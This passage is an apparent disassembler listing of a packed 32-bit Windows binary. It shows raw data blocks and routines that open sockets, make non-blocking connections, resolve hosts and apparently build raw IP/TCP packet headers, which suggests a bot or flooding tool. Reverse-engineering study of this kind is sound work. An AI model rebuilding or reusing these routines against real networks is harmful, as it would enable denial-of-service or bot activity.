		dd 66D0E8F0h, 5959FFFFh, 0F1E89056h, 55022CAFh,	0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270B0h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0BA5415FFh, 4589004Ch, 50D6FFF8h
		dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h
		dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 5FE89000h, 2B0227BAh
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CF1801Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 6ED0h, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CB978h, 0FF68h, 0E8016A00h,	3B11h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D90468h
		dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh,	6068FFFFh
		dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CBA14h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CB9D4h, 0AE458966h, 7199E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h,	66000071h
		dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h
		dd 7155E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 69C55DE8h,	89669071h, 0FFFF5E85h, 60858DFFh
		dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA3815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0BA6C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_41525A	dw 8B55h		; DATA XREF: sub_401ACD+4B97o
dword_41525C	dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
					; DATA XREF: Themida_:0055C2DDo
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	437C8Ch, 6FB4E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h,	0C483FFFFh
		dd 0E8006A14h, 22CAD30h, 0EC8B5590h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA5415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E7Ch, 6F60E850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9B4h, 75FFF883h, 6815FF0Eh
		dd 50004CB9h, 437E2C68h, 8D1BEB00h, 0FF500C45h,	4CBA1415h
		dd 0FFF88300h, 15FF2075h, 4CB968h, 7DE86850h, 858D0043h
		dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 0D415FF00h, 66004CB9h, 8DDE4589h, 90500C45h
		dd 69BF73E8h, 0B0358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 7DBC68FFh, 0E8500043h, 6EBEh
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CF1803Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CB978h, 0E8016A53h, 3795h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D90468ACh
		dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB6068h
		dd 21E85000h, 59000074h, 5C65659h, 4CED60h, 0D415FF45h
		dd 66004CB9h, 4CED62A3h, 0AC458D00h, 5C76650h, 4CED64h
		dd 89660001h, 4CED663Dh, 6805C600h, 80004CEDh, 0ED6905C6h
		dd 6611004Ch, 0ED6A3D89h, 15FF004Ch, 4CBA14h, 4CED6CA3h
		dd 0E0458B00h, 4CED70A3h, 8C858D00h, 50000000h,	7A3D8966h
		dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6C64E8h, 0FF505900h
		dd 4CB9D415h, 76A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CED74h, 0B9D415FFh, 68004Ch
		dd 66000004h, 4CED78A3h, 6D90E800h, 0F7990000h,	7C6852FBh
		dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CED60h, 0FFF475FFh,	4CBA3815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 63E890FCh, 2B0227B5h, 0D233F845h,	3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 6C15FFF4h, 8B004CBAh,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6BADh, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D5868h
		dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CB96815h, 458D5000h, 0CC68500Ch, 0EB00437Ch
		db 0ACh
byte_41561D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6283o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h
		dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CBA1415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 7EA868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh
		dd 67AE850h, 75FF0000h,	6010E8F0h, 5959FFFFh, 31E89056h
		dd 5F022CA9h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_4156FA
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_4157B6
; ---------------------------------------------------------------------------


loc_4156FA:				; CODE XREF: ___:004156E4j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB97C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB9BC
		test	eax, eax
		jnz	short loc_41575E
		or	eax, 0FFFFFFFFh
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_41575E:				; CODE XREF: ___:00415757j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_415769


loc_415765:				; CODE XREF: ___:00415789j
					; ___:004157ADj
		mov	eax, edi
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_415769:				; CODE XREF: ___:00415763j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41578B
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_415765


loc_41578B:				; CODE XREF: ___:00415778j
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_415765
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_4157B6:				; CODE XREF: ___:004156F5j
					; ___:0041575Cj ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0221h,	6AEC4D8Dh
		dd 26A5104h, 0F0A35053h, 0FF004CF1h, 4CB9B415h,	0B0358B00h
		dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0D415FF50h
		dd 53004CB9h, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CBA5415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA6C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0F1F4BF83h, 0C068004Ch, 570042CDh, 68D9E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 0D4685750h, 5700437Eh, 0E8F04589h, 689Ah
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h
		dd 4CB9D415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CF190h, 656BE8h, 0FFFFBE00h
		dd 5C60000h, 4CF190h, 685645h, 0C6000004h, 4CF19905h, 5C60600h
		dd 4CF191h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9D4h
		dd 0A366286Ah, 4CF194h,	0B9D415FFh, 0D80004Ch, 4CF198h
		dd 801D39FFh, 66004CF1h, 4CF192A3h, 1D896600h, 4CF196h
		dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CEB6068h, 1415FF00h,	0A3004CBAh
		dd 4CF19Ch, 6808458Bh, 4000h, 4CF1A0A3h, 0B11D8800h, 0FF004CF1h
		dd 4CB9D415h, 66535600h, 4CF1B2A3h, 3123E800h, 0F88B0000h
		dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9D015FFh
		dd 0A8A3004Ch, 0A0004CF1h, 4CF1B0h, 24087D8Bh, 6A500C0Fh
		dd 0F1B0A214h, 8B66004Ch, 1D89F045h, 4CF1ACh, 0B61D8966h
		dd 66004CF1h, 4CF1A6A3h, 0CC3D8900h, 88004CF1h,	4CF1D01Dh
		dd 0D105C600h, 6004CF1h, 0B9D415FFh, 0A366004Ch, 4CF1D2h
		dd 0F1A6A166h, 0C766004Ch, 4CF1B805h, 89000200h, 4CF1BC3Dh
		dd 0BAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 308CE8h, 50595900h, 0B9D415FFh, 0A366004Ch
		dd 4CF1A4h, 4CF19CA1h, 0F1C8A300h, 5C6004Ch, 4CF1B1h, 0AC1D8902h
		dd 0EB004CF1h, 0C653561Fh, 4CF1B105h, 56E81000h, 59000030h
		dd 15FF5059h, 4CB9D4h, 0A3C0B70Fh, 4CF1ACh, 9405FF66h
		dd 0FF004CF1h, 4CF1A805h, 0A6A16600h, 6A004CF1h, 0A4BE5905h
		dd 0BF004CF1h, 4CF1D4h,	9A1D8966h, 66004CF1h, 0F1B41D89h
		dd 146A004Ch, 90BEA5F3h, 66004CF1h, 4CF1BAA3h, 90E85600h
		dd 6AFFFF4Eh, 0F1C86820h, 0A366004Ch, 4CF19Ah, 0FF4E7EE8h
		dd 10C483FFh, 0F1B4A366h, 106A004Ch, 4CF1B868h,	286A5300h
		dd 0F035FF56h, 0FF004CF1h, 4CBA3815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 0AEB8E8FFh, 2B900227h, 0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 26A781E8h
		dd 0FDC2E902h, 5E5FFFFFh, 4CF1F4B8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C40	proc near		; CODE XREF: sub_401ACD+7111p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43DB90
		mov	edi, 0B8h


loc_415C54:				; CODE XREF: sub_415C40+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415C77
		push	[ebp+arg_0]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415C77
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E710
		jl	short loc_415C54
		jmp	short loc_415CB9
; ---------------------------------------------------------------------------


loc_415C77:				; CODE XREF: sub_415C40+17j
					; sub_415C40+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43DB90[esi]
		push	ebx
		call	sub_41BF70
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BFD0
		push	9Fh
		lea	eax, dword_43DBA8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BFD0
		add	esp, 24h
		inc	dword_4294CC
		pop	ebx


loc_415CB9:				; CODE XREF: sub_415C40+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415C40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CC0	proc near		; CODE XREF: sub_401ACD+289Ap

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_437EF0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43DB90


loc_415CEA:				; CODE XREF: sub_415CC0+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415D25
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_437EDC
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C360
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch


loc_415D25:				; CODE XREF: sub_415CC0+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E710
		jl	short loc_415CEA
		pop	edi
		pop	esi
		leave
		retn
sub_415CC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D38	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 2790827h
		mov	ebx, offset dword_4D35F4
		mov	edi, 80h
		mov	esi, offset dword_4CF5F4


loc_415D5A:				; CODE XREF: sub_415D38+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415D71
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_415D71:				; CODE XREF: sub_415D38+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415D5A
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415D38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DAC	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_408967p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41CB70
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415D38
		add	esp, 14h
		leave
		retn
sub_415DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DD8	proc near		; CODE XREF: sub_401ACD+278Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF5F4
		xor	ecx, ecx


loc_415DDF:				; CODE XREF: sub_415DD8+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D35F4
		jl	short loc_415DDF
		cmp	[esp+arg_C], ecx
		jnz	short loc_415E0D
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_437F3C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409869
		add	esp, 14h


loc_415E0D:				; CODE XREF: sub_415DD8+19j
		push	offset dword_437F28
		call	sub_415D38
		pop	ecx
		retn
sub_415DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E19	proc near		; CODE XREF: ___:0040E1FFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_4CF5F4


loc_415E1F:				; CODE XREF: sub_415E19+27j
		cmp	byte ptr [esi],	0
		jz	short loc_415E34
		push	[esp+4+arg_0]
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415E46


loc_415E34:				; CODE XREF: sub_415E19+9j
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415E1F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415E46:				; CODE XREF: sub_415E19+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_415E19	endp

; ---------------------------------------------------------------------------
byte_415E4B	db 55h			; DATA XREF: sub_401ACD+2844o
; ---------------------------------------------------------------------------
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_415E9E
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_437F6C
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415E9E:				; CODE XREF: ___:00415E7Ej
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EBE
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415EBE
		mov	[ebp-8], eax


loc_415EBE:				; CODE XREF: ___:00415EA5j
					; ___:00415EB9j
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CF5F4


loc_415EC7:				; CODE XREF: ___:00415F1Fj
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415F21
		cmp	byte ptr [esi],	0
		jz	short loc_415F10
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EF6
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415EF6
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415F10


loc_415EF6:				; CODE XREF: ___:00415EDBj
					; ___:00415EE1j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F10:				; CODE XREF: ___:00415ED2j
					; ___:00415EF4j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415EC7


loc_415F21:				; CODE XREF: ___:00415ECDj
		lea	eax, [ebp-31Ch]
		push	offset dword_437F50
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_415F5B
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F5B:				; CODE XREF: ___:00415F39j
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 22CA088h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F7A	proc near		; CODE XREF: ___:0041661Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415FF6
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14
		cmp	eax, esi
		jnz	short loc_415FDB
		push	[ebp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jz	short loc_415FF6
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415FDB:				; CODE XREF: sub_415F7A+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, esi
		jnz	short loc_415FFA
		push	edi
		call	dword_4CBA6C


loc_415FF6:				; CODE XREF: sub_415F7A+1Bj
					; sub_415F7A+58j
		mov	eax, esi
		jmp	short loc_415FFC
; ---------------------------------------------------------------------------


loc_415FFA:				; CODE XREF: sub_415F7A+73j
		mov	eax, edi


loc_415FFC:				; CODE XREF: sub_415F7A+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415F7A	endp

; ---------------------------------------------------------------------------
dword_416000	dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh
					; DATA XREF: sub_401ACD+A02o
		dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
		dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
		dd 4C858D52h, 68FFFFEEh, 437FECh, 6214E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch
		dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh,	6DE89056h
		dd 68022C9Fh, 43DB88h, 4113E853h, 83590000h, 7559FFF8h
		dd 4C858D59h, 68FFFFEEh, 437FBCh, 61B0E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h,	0FFFFEE4Ch
		dd 0FC52E850h, 5359FFFFh, 0BA6C15FFh, 75FF004Ch, 55E0E8F0h
		dd 5659FFFFh, 9F02E890h, 646A022Ch, 26A2ADE8h, 0FF339002h
		dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh
		dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9EC15FFh, 0C085004Ch
		dd 858D387Eh, 0FFFFEE4Ch, 42A08068h, 5DE85000h,	8D000067h
		dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h
		dd 26A255E8h, 0A6A9002h, 0FF549DE8h, 59C085FFh,	858DA375h
		dd 0FFFFEE4Ch, 437F8868h, 0EBE85000h, 39000060h, 5959F87Dh
		dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
		dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh,	0FFFB8FE8h
		dd 0FF5359FFh, 4CBA6C15h, 0F075FF00h, 0FF551DE8h, 0E85759FFh
		dd 22C9E40h
		db 90h
; ---------------------------------------------------------------------------


loc_4161C1:				; DATA XREF: sub_401ACD+7696o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_41620F
		push	offset unk_4380EC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41620F:				; CODE XREF: ___:00416203j
		push	10h
		lea	eax, [ebp-30h]
		push	esi
